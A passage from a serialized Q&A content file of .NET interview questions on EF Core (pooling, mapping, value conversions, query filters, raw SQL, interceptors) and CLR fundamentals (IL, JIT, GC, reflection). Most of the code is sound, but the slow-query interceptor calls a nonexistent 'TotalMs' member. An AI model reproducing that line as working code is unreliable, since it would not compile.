concurrency\n\n\u002F\u002F Constraints with pooling:\n\u002F\u002F 1. AppDbContext constructor MUST accept only DbContextOptions — no extra injected deps.\n\u002F\u002F If you need IConfiguration, use the IDbContextFactory pattern instead.\n\u002F\u002F 2. OnConfiguring is called once, not per-request — configuration must be in options.\n\u002F\u002F 3. EF resets state (change tracker, transactions) but custom fields are NOT reset.\n\u002F\u002F Store no request-specific state in the context.\n\n\u002F\u002F IDbContextFactory — create short-lived contexts on demand (e.g. in Blazor Server):\nbuilder.Services.AddDbContextFactory\u003CAppDbContext>(options =>\n    options.UseSqlServer(connectionString));\n\npublic class ProductImporter\n{\n    private readonly IDbContextFactory\u003CAppDbContext> _factory;\n    public ProductImporter(IDbContextFactory\u003CAppDbContext> factory)\n        => _factory = factory;\n\n    public async Task ImportAsync(IEnumerable\u003CProduct> products)\n    {\n        await using var db = await _factory.CreateDbContextAsync();\n        db.Products.AddRange(products);\n        await db.SaveChangesAsync();\n    } \u002F\u002F context disposed here — safe in Blazor Server long-lived components\n}\n```\n\n**Rule of thumb:** Use `AddDbContextPool` for high-throughput APIs where context\ncreation is a measurable overhead. Use `IDbContextFactory` in Blazor Server or\nbackground jobs that need fine-grained context lifetime control.\n",{"id":360,"difficulty":96,"q":361,"a":362},"ef-onconfiguring-vs-adddbcontext","What is the difference between configuring EF Core via OnConfiguring vs AddDbContext?","**`OnConfiguring`** is the context's own method for self-configuring; **`AddDbContext`**\nconfigures externally via DI. The two approaches differ in testability and coupling.\n\n```csharp\n\u002F\u002F OnConfiguring — hardcodes provider; can't swap in tests:\npublic class AppDbContext : DbContext\n{\n    protected override void OnConfiguring(DbContextOptionsBuilder builder)\n    {\n        \u002F\u002F Connection string hardcoded; no way to inject a test database:\n        builder.UseSqlServer(\"Server=prod;Database=App;...\");\n    }\n}\n\n\u002F\u002F Constructor injection + AddDbContext (preferred):\npublic class AppDbContext : DbContext\n{\n    public AppDbContext(DbContextOptions\u003CAppDbContext> options)\n        : base(options) { }   \u002F\u002F options come from the DI container\n\n    protected override void OnModelCreating(ModelBuilder mb)\n    {\n        mb.ApplyConfigurationsFromAssembly(typeof(AppDbContext).Assembly);\n    }\n}\n\n\u002F\u002F Wire-up in Program.cs — swap to SQLite in tests without changing the context:\nbuilder.Services.AddDbContext\u003CAppDbContext>(o =>\n    o.UseSqlServer(builder.Configuration.GetConnectionString(\"Default\")));\n\n\u002F\u002F Test setup:\nservices.AddDbContext\u003CAppDbContext>(o =>\n    o.UseSqlite(\"Data Source=:memory:\"));\n```\n\n`OnConfiguring` is only appropriate when the context is constructed manually\n(migration tooling, design-time factories).\n\n**Rule of thumb:** Never hardcode a connection string in `OnConfiguring` in\nproduction code. Pass `DbContextOptions` via the constructor so tests can inject\na different provider.\n",{"id":364,"difficulty":96,"q":365,"a":366},"ef-entity-configuration","How do you configure entity mappings in EF Core — data annotations vs Fluent API?","EF Core offers two mapping approaches: **data annotations** (attributes on the\nclass) and **Fluent API** (code in `OnModelCreating`). Fluent API is more powerful\nand keeps domain models free of infrastructure concerns.\n\n```csharp\n\u002F\u002F Data annotation approach — quick but pollutes the domain model:\n[Table(\"Orders\")]\npublic class Order\n{\n    [Key]\n    [DatabaseGenerated(DatabaseGeneratedOption.Identity)]\n    public int Id { get; set; }\n\n    [Required]\n    [MaxLength(50)]\n    public string Status { get; set; } = \"\";\n\n    [Column(TypeName = \"decimal(18,2)\")]\n    public decimal Total { get; set; }\n}\n\n\u002F\u002F Fluent API approach — preferred; domain model stays clean:\npublic class OrderConfiguration : IEntityTypeConfiguration\u003COrder>\n{\n    public void Configure(EntityTypeBuilder\u003COrder> builder)\n    {\n        builder.ToTable(\"Orders\");\n        builder.HasKey(o => o.Id);\n        builder.Property(o => o.Status)\n               .IsRequired()\n               .HasMaxLength(50);\n        builder.Property(o => o.Total)\n               .HasColumnType(\"decimal(18,2)\");\n        builder.HasIndex(o => o.CustomerId); \u002F\u002F index on FK\n    }\n}\n\n\u002F\u002F Register all IEntityTypeConfiguration\u003CT> in one call:\nprotected override void OnModelCreating(ModelBuilder mb)\n    => mb.ApplyConfigurationsFromAssembly(typeof(AppDbContext).Assembly);\n```\n\n**Rule of thumb:** Use Fluent API via `IEntityTypeConfiguration\u003CT>` and\n`ApplyConfigurationsFromAssembly`. It scales to large models and keeps entity\nclasses free of EF-specific attributes.\n",{"id":368,"difficulty":96,"q":369,"a":370},"ef-value-conversions","What are value conversions in EF Core and when do you use them?","**Value conversions** let EF Core convert a property value between its in-memory\nCLR type and the database column type — useful for enums, strongly typed IDs,\nJSON columns, and encrypted fields.\n\n```csharp\n\u002F\u002F Store an enum as a string instead of an int:\npublic enum OrderStatus { Pending, Shipped, Delivered, Cancelled }\n\nbuilder.Property(o => o.Status)\n       .HasConversion\u003Cstring>()   \u002F\u002F stores \"Pending\", not 0\n       .HasMaxLength(20);\n\n\u002F\u002F Strongly typed ID value object:\npublic record OrderId(int Value);\n\nbuilder.Property(o => o.Id)\n       .HasConversion(\n           id => id.Value,        \u002F\u002F CLR → DB\n           val => new OrderId(val)); \u002F\u002F DB → CLR\n\n\u002F\u002F JSON column (EF Core 7+) — stores a complex type as JSON:\nbuilder.OwnsOne(o => o.ShippingAddress, addr =>\n{\n    addr.ToJson(); \u002F\u002F stored as a JSON column — one column, full object\n});\n\n\u002F\u002F Custom converter class:\npublic class MoneyConverter : ValueConverter\u003CMoney, decimal>\n{\n    public MoneyConverter() : base(\n        m => m.Amount,              \u002F\u002F CLR → DB\n        d => new Money(d, \"USD\"))   \u002F\u002F DB → CLR\n    { }\n}\n\nbuilder.Property(o => o.Price)\n       .HasConversion(new MoneyConverter());\n```\n\n**Rule of thumb:** Use value conversions to keep your domain model clean and\nstrongly typed. Store enums as strings for readability in production databases;\nstore value objects with `HasConversion` or `ToJson` rather than flattening manually.\n",{"id":372,"difficulty":96,"q":373,"a":374},"ef-global-query-filters","What are global query filters and how do you use them for soft deletes?","**Global query filters** apply a `WHERE` clause automatically to every query on\nan entity — the standard EF Core mechanism for **soft deletes** and **multi-tenancy**.\n\n```csharp\n\u002F\u002F Entity with soft-delete flag:\npublic class Order\n{\n    public int Id { get; set; }\n    public bool IsDeleted { get; set; }\n    public int TenantId { get; set; }\n    \u002F\u002F ...\n}\n\n\u002F\u002F Register global filter in OnModelCreating:\nmodelBuilder.Entity\u003COrder>()\n    .HasQueryFilter(o => !o.IsDeleted);\n\u002F\u002F Every query: SELECT * FROM Orders WHERE IsDeleted = 0 — automatic\n\n\u002F\u002F Multi-tenancy filter (inject the current tenant via constructor):\npublic class AppDbContext : DbContext\n{\n    private readonly int _tenantId;\n\n    public AppDbContext(DbContextOptions\u003CAppDbContext> opts, ITenantContext tenant)\n        : base(opts)\n    {\n        _tenantId = tenant.CurrentTenantId;\n    }\n\n    protected override void OnModelCreating(ModelBuilder mb)\n    {\n        mb.Entity\u003COrder>().HasQueryFilter(o =>\n            !o.IsDeleted && o.TenantId == _tenantId);\n    }\n}\n\n\u002F\u002F Bypass the filter when needed (admin operations, data migration):\nvar allOrders = await _db.Orders\n    .IgnoreQueryFilters()      \u002F\u002F disables global filters for this query\n    .ToListAsync();\n\n\u002F\u002F Soft delete — just set the flag, don't call Remove:\norder.IsDeleted = true;\nawait _db.SaveChangesAsync(); \u002F\u002F UPDATE Orders SET IsDeleted=1 WHERE Id=...\n```\n\n**Rule of thumb:** Use global query filters for cross-cutting concerns (soft delete,\nmulti-tenancy) so they're applied consistently. Add `IgnoreQueryFilters()` only in\nexplicit admin or migration paths.\n",{"id":376,"difficulty":96,"q":377,"a":378},"ef-keyless-entity-types","What are keyless entity types in EF Core and when do you use them?","**Keyless entity types** (`HasNoKey`) map to database objects that have no primary\nkey — database views, raw SQL result sets, or tables used only for reporting. They\nare always read-only; EF Core never tracks or saves them.\n\n```csharp\n\u002F\u002F DTO mapped to a view (no primary key):\npublic class OrderSummaryView\n{\n    public int CustomerId { get; set; }\n    public string CustomerName { get; set; } = \"\";\n    public int OrderCount { get; set; }\n    public decimal TotalRevenue { get; set; }\n}\n\n\u002F\u002F Configuration — mark as keyless and point to the view:\nmodelBuilder.Entity\u003COrderSummaryView>(b =>\n{\n    b.HasNoKey();                          \u002F\u002F no PK — never tracked\n    b.ToView(\"vw_OrderSummaries\");         \u002F\u002F maps to a DB view\n});\n\n\u002F\u002F Expose via a DbSet property on the context:\npublic DbSet\u003COrderSummaryView> OrderSummaries { get; set; }\n\n\u002F\u002F Query exactly like any DbSet — fully composable:\nvar top10 = await _db.OrderSummaries\n    .AsNoTracking()\n    .OrderByDescending(v => v.TotalRevenue)\n    .Take(10)\n    .ToListAsync();\n\u002F\u002F SQL: SELECT TOP 10 ... FROM vw_OrderSummaries ORDER BY TotalRevenue DESC\n\n\u002F\u002F Use FromSqlRaw with a keyless type for arbitrary result shapes:\nvar results = await _db.OrderSummaries\n    .FromSqlRaw(\"EXEC sp_GetOrderSummaries @Year = {0}\", 2026)\n    .ToListAsync();\n```\n\n**Rule of thumb:** Use keyless entity types for read-only views and stored procedure\nresults. Never call `SaveChanges` with them — EF has no way to generate INSERT\u002FUPDATE\u002F\nDELETE without a primary key.\n",{"id":380,"difficulty":96,"q":381,"a":382},"ef-raw-queries-ef8","What is SqlQuery and how does it differ from FromSqlRaw in EF Core 8?","**`SqlQuery\u003CT>`** (EF Core 8+) executes raw SQL and maps results to any CLR type —\nincluding primitives and non-entity types — without requiring a `DbSet\u003CT>` or keyless\nentity registration. `FromSqlRaw` only works with types known to the EF model.\n\n```csharp\n\u002F\u002F FromSqlRaw — requires the type to be in the EF model (entity or keyless):\nvar orders = await _db.Orders\n    .FromSqlRaw(\"SELECT * FROM Orders WHERE Status = {0}\", \"Pending\")\n    .ToListAsync(); \u002F\u002F Order must be a tracked or keyless type\n\n\u002F\u002F SqlQuery\u003CT> (EF Core 8+) — works with any scalar or simple CLR type:\n\n\u002F\u002F Scalar: fetch a single value:\nvar count = await _db.Database\n    .SqlQuery\u003Cint>($\"SELECT COUNT(*) FROM Orders WHERE Status = 'Pending'\")\n    .SingleAsync();\n\n\u002F\u002F Primitive list:\nvar ids = await _db.Database\n    .SqlQuery\u003Cint>($\"SELECT Id FROM Orders WHERE Total > {threshold}\")\n    .ToListAsync();\n\n\u002F\u002F Anonymous-like DTO (must be a concrete class with matching property names):\npublic record StatusCount(string Status, int Count);\n\nvar breakdown = await _db.Database\n    .SqlQuery\u003CStatusCount>(\n        $\"SELECT Status, COUNT(*) AS Count FROM Orders GROUP BY Status\")\n    .ToListAsync();\n\n\u002F\u002F Compose LINQ on top (EF wraps it in a subquery):\nvar top = await _db.Database\n    .SqlQuery\u003CStatusCount>(\n        $\"SELECT Status, COUNT(*) AS Count FROM Orders GROUP BY Status\")\n    .OrderByDescending(r => r.Count)\n    .Take(3)\n    .ToListAsync();\n```\n\n**Rule of thumb:** Use `SqlQuery\u003CT>` when you need raw SQL that returns scalars,\nprimitives, or ad-hoc DTOs not registered in the EF model. Use `FromSqlRaw` when\nyou want to compose LINQ on top of a raw SQL fragment that returns a tracked entity type.\n",{"id":384,"difficulty":206,"q":385,"a":386},"ef-interceptors","What are EF Core interceptors and how do you use them for auditing?","**Interceptors** hook into EF Core's internal pipeline at specific points — command\nexecution, connection events, and SaveChanges — without modifying entity classes.\n\n```csharp\n\u002F\u002F Auditing interceptor — stamp UpdatedAt before every save:\npublic class AuditInterceptor : SaveChangesInterceptor\n{\n    public override InterceptionResult\u003Cint> SavingChanges(\n        DbContextEventData eventData, InterceptionResult\u003Cint> result)\n    {\n        StampAuditFields(eventData.Context!);\n        return base.SavingChanges(eventData, result);\n    }\n\n    public override ValueTask\u003CInterceptionResult\u003Cint>> SavingChangesAsync(\n        DbContextEventData eventData, InterceptionResult\u003Cint> result,\n        CancellationToken ct = default)\n    {\n        StampAuditFields(eventData.Context!);\n        return base.SavingChangesAsync(eventData, result, ct);\n    }\n\n    private static void StampAuditFields(DbContext db)\n    {\n        var now = DateTime.UtcNow;\n        foreach (var entry in db.ChangeTracker.Entries\u003CIAuditable>())\n        {\n            if (entry.State == EntityState.Added)\n                entry.Entity.CreatedAt = now;\n            if (entry.State is EntityState.Added or EntityState.Modified)\n                entry.Entity.UpdatedAt = now;\n        }\n    }\n}\n\n\u002F\u002F Command interceptor — log slow queries:\npublic class SlowQueryInterceptor : DbCommandInterceptor\n{\n    public override DbDataReader ReaderExecuted(\n        DbCommand command, CommandExecutedEventData data, DbDataReader result)\n    {\n        if (data.Duration > TimeSpan.FromSeconds(1))\n            Console.WriteLine($\"SLOW QUERY ({data.Duration.TotalMs}ms): {command.CommandText}\");\n        return result;\n    }\n}\n\n\u002F\u002F Register interceptors on the context:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options\n        .UseSqlServer(connectionString)\n        .AddInterceptors(new AuditInterceptor(), new SlowQueryInterceptor()));\n```\n\n**Rule of thumb:** Use interceptors for cross-cutting concerns (auditing, logging,\nsoft-delete) that shouldn't pollute entity classes or service code. Prefer\n`SaveChangesInterceptor` over overriding `SaveChanges` directly — it composes cleanly.\n",{"id":388,"difficulty":206,"q":389,"a":390},"ef-unit-of-work-repository","Should you wrap EF Core DbContext in a Repository and Unit of Work pattern?","`DbContext` already implements the **Unit of Work** pattern (change tracker + `SaveChanges`)\nand `DbSet\u003CT>` already acts as a **Repository** (query + add\u002Fremove surface). Wrapping\nthem in another layer duplicates those abstractions. However, a thin repository interface\ncan be justified for testability or for abstracting query logic.\n\n```csharp\n\u002F\u002F Anti-pattern — generic repository that mirrors DbSet exactly:\npublic interface IRepository\u003CT>\n{\n    Task\u003CT?> GetByIdAsync(int id);\n    Task AddAsync(T entity);\n    void Remove(T entity);\n    Task SaveAsync(); \u002F\u002F re-exposes SaveChanges — leaks UoW into the repo\n}\n\u002F\u002F Problem: SaveAsync in each repository breaks the Unit of Work contract.\n\u002F\u002F Two repos saving independently means two transactions.\n\n\u002F\u002F Better — inject DbContext directly in services (simple apps):\npublic class OrderService\n{\n    private readonly AppDbContext _db;\n    public OrderService(AppDbContext db) => _db = db;\n\n    public async Task\u003CList\u003COrder>> GetPendingAsync()\n        => await _db.Orders\n            .AsNoTracking()\n            .Where(o => o.Status == \"Pending\")\n            .ToListAsync();\n}\n\n\u002F\u002F Acceptable thin interface — encapsulates query logic, not UoW:\npublic interface IOrderRepository\n{\n    Task\u003CList\u003COrder>> GetPendingAsync(CancellationToken ct = default);\n    Task\u003COrder?> GetWithItemsAsync(int orderId, CancellationToken ct = default);\n}\n\npublic class EfOrderRepository : IOrderRepository\n{\n    private readonly AppDbContext _db;\n    public EfOrderRepository(AppDbContext db) => _db = db;\n\n    public Task\u003CList\u003COrder>> GetPendingAsync(CancellationToken ct)\n        => _db.Orders.AsNoTracking().Where(o => o.Status == \"Pending\").ToListAsync(ct);\n\n    public Task\u003COrder?> GetWithItemsAsync(int orderId, CancellationToken ct)\n        => _db.Orders.Include(o => o.Items).FirstOrDefaultAsync(o => o.Id == orderId, ct);\n}\n\u002F\u002F SaveChanges remains on the context — owned by the service layer, not the repo.\n```\n\n**Rule of thumb:** Don't create a generic `IRepository\u003CT>` that wraps `DbSet\u003CT>` —\nit adds indirection without benefit. A domain-specific repository interface is fine when\nit encapsulates complex queries. Never expose `SaveChanges` inside a repository method.\n",{"description":94},"EF Core DbContext interview questions — change tracking, entity states, SaveChanges, lifetime management, DbContext pooling, and interceptors.","dotnet\u002Fentity-framework\u002Fdbcontext-dbset","DbContext & DbSet","VQ5zE74TIo4nHgSY65q7FMINMkZmGjJajlkcPsfpCjI",{"id":397,"title":398,"body":399,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":403,"navigation":99,"order":13,"path":404,"questions":405,"questionsCount":163,"related":164,"seo":466,"seoDescription":467,"stem":468,"subtopic":469,"topic":20,"topicSlug":21,"updated":470,"__hash__":471},"qa\u002Fdotnet\u002Ffundamentals\u002Fclr-runtime.md","Clr Runtime",{"type":91,"value":400,"toc":401},[],{"title":94,"searchDepth":29,"depth":29,"links":402},[],{},"\u002Fdotnet\u002Ffundamentals\u002Fclr-runtime",[406,410,414,418,422,426,430,434,438,442,446,450,454,458,462],{"id":407,"difficulty":104,"q":408,"a":409},"what-is-clr","What is the CLR and what does it do?","The **Common Language Runtime (CLR)** is the virtual machine at the heart of .NET.\nIt takes compiled **Intermediate Language (IL)** bytecode and executes it on the\nhost OS, providing services that would otherwise be the developer's responsibility.\n\n```csharp\n\u002F\u002F You write C# → the compiler produces IL → the CLR executes IL\n\u002F\u002F dotnet run triggers: csc → assembly.dll (IL) → CLR JIT → native CPU instructions\nConsole.WriteLine(\"Hello from managed code\"); \u002F\u002F CLR handles memory, exceptions, types\n```\n\nThe CLR provides: **JIT compilation** (IL → native code), **garbage collection**\n(automatic memory management), **type safety** enforcement, **exception handling**,\n**thread management**, and **security sandboxing**. Every .NET language (C#, F#,\nVB.NET) compiles to the same IL, so the CLR is truly language-agnostic.\n\n**Rule of thumb:** The CLR is to .NET what the JVM is to Java — an execution engine\nthat abstracts the OS and hardware while enforcing language rules at runtime.\n",{"id":411,"difficulty":96,"q":412,"a":413},"what-is-il","What is Intermediate Language (IL) and how does the CLR execute it?","**Intermediate Language (IL)**, also called **CIL** (Common Intermediate Language)\nor **MSIL**, is the CPU-agnostic bytecode that .NET compilers produce. It is a\nstack-based instruction set — not native machine code, not source code.\n\n```csharp\n\u002F\u002F Source:\nint Add(int a, int b) => a + b;\n\n\u002F\u002F IL (roughly, as shown by ildasm \u002F dnSpy):\n\u002F\u002F ldarg.1   — push 'a' onto evaluation stack\n\u002F\u002F ldarg.2   — push 'b' onto evaluation stack\n\u002F\u002F add       — pop two values, push their sum\n\u002F\u002F ret       — return top of stack\n```\n\nWhen the runtime first calls a method, the **JIT compiler** translates that method's\nIL to native CPU instructions for the current machine. The result is cached for the\nprocess lifetime — the JIT only runs once per method per process. You can inspect\nIL with `dotnet tool install -g dotnet-ildasm` or view it in dnSpy\u002FILSpy.\n\n**Rule of thumb:** IL is the \"assembly language\" of .NET — write once in any CLS\nlanguage, run anywhere the CLR is installed, on any CPU architecture.\n",{"id":415,"difficulty":96,"q":416,"a":417},"jit-vs-aot","What is JIT compilation and how does it differ from AOT?","**JIT (Just-In-Time)** compiles IL to native code at runtime, method by method,\nthe first time each method is called. **AOT (Ahead-Of-Time)** compiles everything\nto native code before the app starts.\n\n```csharp\n\u002F\u002F JIT (default): compilation happens at runtime\n\u002F\u002F First call to Foo() triggers JIT; subsequent calls use cached native code\n\n\u002F\u002F AOT via .NET Native Ahead-of-Time (PublishAot = true in .csproj):\n\u002F\u002F \u003CPublishAot>true\u003C\u002FPublishAot>\n\u002F\u002F dotnet publish -r linux-x64 -c Release\n\u002F\u002F Result: single self-contained native binary, no CLR required at runtime\n```\n\n| | JIT | AOT |\n|---|---|---|\n| Startup | Slower (JIT work on first calls) | Fast (native binary) |\n| Peak perf | High (tiered JIT optimises hot paths) | High but fixed |\n| Deploy size | Needs .NET runtime installed | Larger self-contained binary |\n| Use case | Long-running services | CLI tools, containers, IoT |\n\n.NET 6+ also has **Tiered Compilation**: methods start with a quick \"tier 0\" compile,\nthen hot methods are recompiled with full optimisations at \"tier 1\".\n\n**Rule of thumb:** Use JIT for servers and services (runtime profiling = better\noptimisation); use AOT for CLI tools and latency-sensitive cold starts.\n",{"id":419,"difficulty":96,"q":420,"a":421},"common-type-system","What is the Common Type System (CTS)?","The **Common Type System (CTS)** defines every data type that the CLR understands\nand the rules for declaring, using, and managing those types. It ensures that objects\nwritten in different .NET languages can interact without type-mismatch errors.\n\n```csharp\n\u002F\u002F C# int → CTS System.Int32\n\u002F\u002F VB.NET Integer → CTS System.Int32\n\u002F\u002F F# int → CTS System.Int32\n\u002F\u002F All three are the exact same CLR type — fully interoperable\n\nint x = 42;                   \u002F\u002F C# keyword\nSystem.Int32 y = 42;          \u002F\u002F CTS type name — identical at runtime\nConsole.WriteLine(x.GetType().FullName); \u002F\u002F \"System.Int32\"\n```\n\nThe CTS defines two top-level categories: **value types** (derive from\n`System.ValueType`, stored by value) and **reference types** (derive from\n`System.Object`, stored as references). Every type in every .NET language must\nconform to these rules, which is why a C# `List\u003Cint>` can be consumed by F# code\nwithout any wrapper.\n\n**Rule of thumb:** The CTS is the shared type contract between all .NET languages —\nit is what makes cross-language .NET libraries possible.\n",{"id":423,"difficulty":96,"q":424,"a":425},"cls-common-language-specification","What is the Common Language Specification (CLS) and why does it matter?","The **Common Language Specification (CLS)** is a subset of the CTS that defines the\nminimum set of features a .NET language must support to be interoperable with any\nother CLS-compliant language. It is more restrictive than the full CTS.\n\n```csharp\n\u002F\u002F CLS-non-compliant: unsigned integers are not in the CLS\n\u002F\u002F (VB.NET doesn't have uint, so a public API using uint breaks interop)\npublic uint GetCount() => 42u;  \u002F\u002F not CLS-compliant\n\n\u002F\u002F CLS-compliant fix:\npublic int GetCount() => 42;    \u002F\u002F all CLS languages support int (System.Int32)\n\n\u002F\u002F Mark your assembly as CLS-compliant to get compiler warnings:\n[assembly: CLSCompliant(true)]\n```\n\nFeatures excluded from the CLS include: unsigned integer types in public APIs,\nglobal functions, pointer types, operator overloading in certain forms, and some\nnaming conventions (CLS is case-insensitive for public identifiers). If you are\nwriting a library for broad .NET language consumption, mark it `[CLSCompliant(true)]`\nand the compiler will flag violations.\n\n**Rule of thumb:** Target CLS compliance for public library APIs; internal code can\nuse the full CTS freely.\n",{"id":427,"difficulty":104,"q":428,"a":429},"managed-vs-unmanaged","What is the difference between managed and unmanaged code?","**Managed code** runs under CLR supervision — the runtime handles memory allocation,\ngarbage collection, type safety, and exception propagation. **Unmanaged code** runs\ndirectly on the OS without CLR oversight — the developer is responsible for memory.\n\n```csharp\n\u002F\u002F Managed: CLR allocates and frees memory automatically\nvar list = new List\u003Cstring>();\nlist.Add(\"hello\");\n\u002F\u002F GC will reclaim list when it's no longer reachable — no manual free()\n\n\u002F\u002F Calling unmanaged code via P\u002FInvoke:\n[DllImport(\"kernel32.dll\")]\nstatic extern IntPtr GetConsoleWindow();\n\n\u002F\u002F Unsafe managed code (pointer arithmetic, must mark block):\nunsafe void ProcessBuffer(byte* ptr, int length)\n{\n    for (int i = 0; i \u003C length; i++)\n        ptr[i] = 0; \u002F\u002F direct memory access — no GC protection here\n}\n```\n\nInterop between managed and unmanaged code uses **P\u002FInvoke** (platform invocation)\nor **COM Interop**. The `unsafe` keyword enables pointer operations within managed\ncode but the CLR still bounds-checks when you re-enter safe territory.\n\n**Rule of thumb:** Write managed code by default; drop to P\u002FInvoke or `unsafe` only\nwhen you need OS APIs, native libraries, or zero-allocation hot paths.\n",{"id":431,"difficulty":96,"q":432,"a":433},"what-is-assembly","What is a .NET Assembly and what does it contain?","A **.NET Assembly** is the compiled, deployable unit of .NET code — typically a\n`.dll` or `.exe` file. It is the fundamental unit of versioning, deployment, and\nsecurity in .NET.\n\n```csharp\n\u002F\u002F View assembly info at runtime:\nvar asm = typeof(string).Assembly;\nConsole.WriteLine(asm.FullName);\n\u002F\u002F \"System.Private.CoreLib, Version=8.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e\"\n\n\u002F\u002F Load an assembly dynamically:\nvar loaded = Assembly.LoadFrom(\"MyPlugin.dll\");\nvar type = loaded.GetType(\"MyPlugin.EntryPoint\");\n```\n\nAn assembly contains: **IL bytecode** (the compiled code), a **manifest** (name,\nversion, culture, strong-name public key, list of referenced assemblies), **metadata**\n(type descriptions used by reflection), and optionally **resources** (embedded images,\nstrings). A single assembly can span multiple source files but compiles to one binary.\nMulti-file assemblies are rare in .NET Core.\n\n**Rule of thumb:** One project → one assembly. The assembly manifest is what NuGet\nand the runtime use to resolve the right version of a dependency.\n",{"id":435,"difficulty":104,"q":436,"a":437},"dotnet-versions","What is the difference between .NET Framework, .NET Core, and modern .NET (5+)?","**.NET Framework** (2002–2019) is Windows-only, ships with Windows, and is legacy.\n**.NET Core** (2016–2020) was the cross-platform rewrite. **.NET 5+** (2020–present)\nunified both under a single cross-platform runtime, dropping the \"Core\" suffix.\n\n```xml\n\u003C!-- .csproj target framework monikers -->\n\u003CTargetFramework>net48\u003C\u002FTargetFramework>       \u003C!-- .NET Framework 4.8, Windows only -->\n\u003CTargetFramework>netcoreapp3.1\u003C\u002FTargetFramework> \u003C!-- .NET Core 3.1, LTS, EOL 2022 -->\n\u003CTargetFramework>net8.0\u003C\u002FTargetFramework>       \u003C!-- .NET 8 (current LTS), cross-platform -->\n\u003CTargetFramework>net9.0\u003C\u002FTargetFramework>       \u003C!-- .NET 9 (current STS) -->\n```\n\n| | .NET Framework | .NET Core \u002F .NET 5+ |\n|---|---|---|\n| Platform | Windows only | Windows, Linux, macOS |\n| Open source | No | Yes |\n| Side-by-side | No (machine-wide) | Yes (multiple versions per machine) |\n| New features | None (frozen) | Yes (annual releases) |\n\n.NET follows a predictable cadence: even-numbered versions (6, 8, 10) are **LTS**\n(3-year support); odd-numbered (7, 9) are **STS** (18-month support).\n\n**Rule of thumb:** Always target the latest LTS for new projects; migrate .NET\nFramework apps when you need Linux\u002Fcontainer deployment or modern C# features.\n",{"id":439,"difficulty":96,"q":440,"a":441},"garbage-collection-overview","How does the .NET garbage collector work at a high level?","The .NET **Garbage Collector (GC)** is a generational, tracing collector. It\nperiodically identifies objects no longer reachable from any **GC root** (static\nfields, local variables, CPU registers) and reclaims their memory.\n\n```csharp\n\u002F\u002F GC roots keep objects alive:\nstatic List\u003Cstring> _cache = new();   \u002F\u002F static field — GC root, always alive\nvoid ProcessRequest()\n{\n    var data = new byte[1024];         \u002F\u002F local var — GC root while method runs\n    _cache.Add(\"entry\");              \u002F\u002F added to static — stays alive\n    \u002F\u002F 'data' goes out of scope here — eligible for collection next GC cycle\n}\n\n\u002F\u002F Force a collection (rarely appropriate in production):\nGC.Collect(2, GCCollectionMode.Forced, blocking: true);\n```\n\nThe GC uses a **mark-and-compact** algorithm: mark all live objects, then compact\nthe heap by sliding live objects together (eliminating fragmentation). Large objects\n(>85 KB by default) go to the **Large Object Heap (LOH)** which is swept but not\ncompacted by default. The GC can run concurrently with your code in **background GC**\nmode to minimise pause times.\n\n**Rule of thumb:** Don't fight the GC — avoid unnecessary allocations, use `ArrayPool\u003CT>`\nfor large buffers, and implement `IDisposable` only for unmanaged resources.\n",{"id":443,"difficulty":96,"q":444,"a":445},"gc-generations","What are GC generations and why do they matter?","The .NET GC divides the managed heap into three **generations** (Gen 0, Gen 1, Gen 2)\nbased on the observation that most objects die young. Collecting younger generations\nis cheaper because they are smaller.\n\n```csharp\n\u002F\u002F Check which generation an object is in:\nvar obj = new object();\nConsole.WriteLine(GC.GetGeneration(obj)); \u002F\u002F 0 — just allocated\n\nGC.Collect(0); \u002F\u002F collect Gen 0 only (cheapest)\n\u002F\u002F If 'obj' survived, it is now promoted to Gen 1\nConsole.WriteLine(GC.GetGeneration(obj)); \u002F\u002F 1\n\nGC.Collect(1); \u002F\u002F collect Gen 0 + Gen 1\nConsole.WriteLine(GC.GetGeneration(obj)); \u002F\u002F 2 — fully tenured\n```\n\n**Gen 0** — new allocations; collected frequently (milliseconds). **Gen 1** — objects\nthat survived one Gen 0 collection; a buffer zone collected less often. **Gen 2** —\nlong-lived objects (static-like); collected rarely, most expensive. A **Gen 2**\ncollection (full GC) can cause noticeable pauses in latency-sensitive apps.\n\nMemory pressure on Gen 2 is a common production issue — typically caused by excessive\ncaching, long-lived `string` allocations, or `IDisposable` objects not being disposed.\n\n**Rule of thumb:** Short-lived objects (request-scoped) are cheap; long-lived\nobjects (Gen 2) cost GC pressure — minimise how much data you promote to Gen 2.\n",{"id":447,"difficulty":96,"q":448,"a":449},"reflection","What is reflection in .NET and when should you use it?","**Reflection** is the ability of .NET code to inspect and invoke type metadata —\nclass names, methods, properties, attributes — at runtime without knowing them at\ncompile time. It is provided by the `System.Reflection` namespace.\n\n```csharp\nusing System.Reflection;\n\nvar type = typeof(DateTime);\n\n\u002F\u002F List all public instance methods:\nforeach (var method in type.GetMethods(BindingFlags.Public | BindingFlags.Instance))\n    Console.WriteLine(method.Name);\n\n\u002F\u002F Invoke a private method dynamically:\nvar mi = type.GetMethod(\"InternalTicksToDateTime\",\n                        BindingFlags.NonPublic | BindingFlags.Static);\n\u002F\u002F mi?.Invoke(null, new object[] { ticks });\n\n\u002F\u002F Read a custom attribute:\nvar attr = typeof(MyService).GetCustomAttribute\u003CObsoleteAttribute>();\nConsole.WriteLine(attr?.Message);\n```\n\nReflection is used by: **dependency injection containers** (scanning for constructors),\n**serialisers** (JSON.NET, System.Text.Json), **ORMs** (EF Core mapping), **test\nframeworks** (discovering `[Test]` methods), and **plugin systems**. The downsides are\nperformance overhead and loss of compile-time type safety.\n\n**Rule of thumb:** Let frameworks use reflection internally; avoid it in your own\nhot paths. Prefer source generators (C# 9+) for compile-time code generation as a\nzero-overhead alternative.\n",{"id":451,"difficulty":96,"q":452,"a":453},"stack-vs-heap","What is the difference between stack and heap allocation in the CLR?","The CLR manages two primary memory regions. The **stack** is a per-thread, LIFO\nstructure for method frames, local variables of value types, and return addresses.\nThe **heap** is a shared, GC-managed area for all reference-type objects.\n\n```csharp\nvoid Example()\n{\n    int x = 10;           \u002F\u002F value type local — lives on the STACK for this frame\n    var s = \"hello\";      \u002F\u002F string is a reference type — object on HEAP, reference on stack\n    var p = new Person(); \u002F\u002F Person object on HEAP, 'p' reference on stack\n}                         \u002F\u002F frame pops: x, s, p references gone; GC eventually frees heap objects\n\nstruct Point { public int X, Y; }   \u002F\u002F value type\nclass Circle { public Point Center; } \u002F\u002F Circle on heap; Center (struct) embedded in it\n```\n\nValue types declared as **fields of a class** live on the heap — inside the object\nthat contains them. \"Value types live on the 